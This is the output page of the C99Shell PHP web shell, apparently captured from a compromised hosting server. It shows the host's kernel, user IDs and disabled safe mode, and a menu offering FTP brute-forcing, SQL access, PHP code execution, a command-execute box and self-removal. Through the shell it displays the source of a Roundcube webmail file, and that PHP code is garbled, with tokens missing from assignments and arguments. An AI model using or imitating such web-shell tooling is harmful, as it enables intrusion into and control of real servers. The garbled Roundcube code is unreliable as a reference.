!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/usr/share/roundcube/program/include/   drwxr-xr-x
Free 1.47 GB of 7.22 GB (20.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rcmail_output_json.php (7.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | program/include/rcmail_output_json.php                                |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) 2008-2012, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Class to handle JSON (AJAX) output                                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/


/**
 * View class to produce JSON responses
 *
 * @package    Core
 * @subpackage View
 */
class rcmail_output_json extends rcmail_output
{
    protected 
$texts = array();
    protected 
$commands = array();
    protected 
$callbacks = array();
    protected 
$message null;

    public 
$type 'js';
    public 
$ajax_call true;


    
/**
     * Issue command to set page title
     *
     * @param string $title New page title
     */
    
public function set_pagetitle($title)
    {
        if (
$this->config->get('devel_mode') && !empty($_SESSION['username']))
            
$name $_SESSION['username'];
        else
            
$name $this->config->get('product_name');

        
$this->command('set_pagetitle', empty($name) ? $title $name.' :: '.$title);
    }


    
/**
     * Register a template object handler
     *
     * @param  string $obj Object name
     * @param  string $func Function name to call
     */
    
public function add_handler($obj$func)
    {
        
// ignore
    
}


    
/**
     * Register a list of template object handlers
     *
     * @param  array $arr Hash array with object=>handler pairs
     */
    
public function add_handlers($arr)
    {
        
// ignore
    
}


    
/**
     * Call a client method
     *
     * @param string Method to call
     * @param ... Additional arguments
     */
    
public function command()
    {
        
$cmd func_get_args();

        if (
strpos($cmd[0], 'plugin.') === 0)
          
$this->callbacks[] = $cmd;
        else
          
$this->commands[] = $cmd;
    }


    
/**
     * Add a localized label to the client environment
     */
    
public function add_label()
    {
        
$args func_get_args();
        if (
count($args) == && is_array($args[0]))
            
$args $args[0];

        foreach (
$args as $name) {
            
$this->texts[$name] = $this->app->gettext($name);
        }
    }


    
/**
     * Invoke display_message command
     *
     * @param string  $message  Message to display
     * @param string  $type     Message type [notice|confirm|error]
     * @param array   $vars     Key-value pairs to be replaced in localized text
     * @param boolean $override Override last set message
     * @param int     $timeout  Message displaying time in seconds
     * @uses self::command()
     */
    
public function show_message($message$type='notice'$vars=null$override=true$timeout=0)
    {
        if (
$override || !$this->message) {
            if (
$this->app->text_exists($message)) {
                if (!empty(
$vars)) {
                    
$vars array_map(array('rcmail''Q'), $vars);
                }
                
$msgtext $this->app->gettext(array('name' => $message'vars' => $vars));
            }
            else
                
$msgtext $message;

            
$this->message $message;
            
$this->command('display_message'$msgtext$type$timeout 1000);
        }
    }


    
/**
     * Delete all stored env variables and commands
     */
    
public function reset()
    {
        
parent::reset();
        
$this->texts = array();
        
$this->commands = array();
    }


    
/**
     * Redirect to a certain url
     *
     * @param mixed $p Either a string with the action or url parameters as key-value pairs
     * @param int $delay Delay in seconds
     * @see rcmail::url()
     */
    
public function redirect($p = array(), $delay 1)
    {
        
$location $this->app->url($p);
        
$this->remote_response(sprintf("window.setTimeout(function(){ %s.redirect('%s',true); }, %d);",
            
self::JS_OBJECT_NAME$location$delay));
        exit;
    }


    
/**
     * Send an AJAX response to the client.
     */
    
public function send()
    {
        
$this->remote_response();
        exit;
    }


    
/**
     * Show error page and terminate script execution
     *
     * @param int    $code     Error code
     * @param string $message  Error message
     */
    
public function raise_error($code$message)
    {
        
$this->show_message("Application Error ($code): $message"'error');
        
$this->remote_response();
        exit;
    }


    
/**
     * Send an AJAX response with executable JS code
     *
     * @param  string  $add Additional JS code
     * @param  boolean True if output buffer should be flushed
     * @return void
     * @deprecated
     */
    
protected function remote_response($add='')
    {
        static 
$s_header_sent false;

        if (!
$s_header_sent) {
            
$s_header_sent true;
            
$this->nocacheing_headers();
            
header('Content-Type: text/plain; charset=' $this->get_charset());
        }

        
// unset default env vars
        
unset($this->env['task'], $this->env['action'], $this->env['comm_path']);

        
$rcmail rcmail::get_instance();
        
$response['action'] = $rcmail->action;

        if (
$unlock rcube_utils::get_input_value('_unlock'rcube_utils::INPUT_GPC)) {
            
$response['unlock'] = $unlock;
        }

        if (!empty(
$this->env))
            
$response['env'] = $this->env;

        if (!empty(
$this->texts))
            
$response['texts'] = $this->texts;

        
// send function calls
        
$response['exec'] = $this->get_js_commands() . $add;

        if (!empty(
$this->callbacks))
            
$response['callbacks'] = $this->callbacks;

        echo 
self::json_serialize($response);
    }


    
/**
     * Return executable javascript code for all registered commands
     *
     * @return string $out
     */
    
protected function get_js_commands()
    {
        
$out '';

        foreach (
$this->commands as $i => $args) {
            
$method array_shift($args);
            foreach (
$args as $i => $arg) {
                
$args[$i] = self::json_serialize($arg);
            }

            
$out .= sprintf(
                
"this.%s(%s);\n",
                
preg_replace('/^parent\./'''$method),
                
implode(','$args)
            );
        }

        return 
$out;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0122 ]--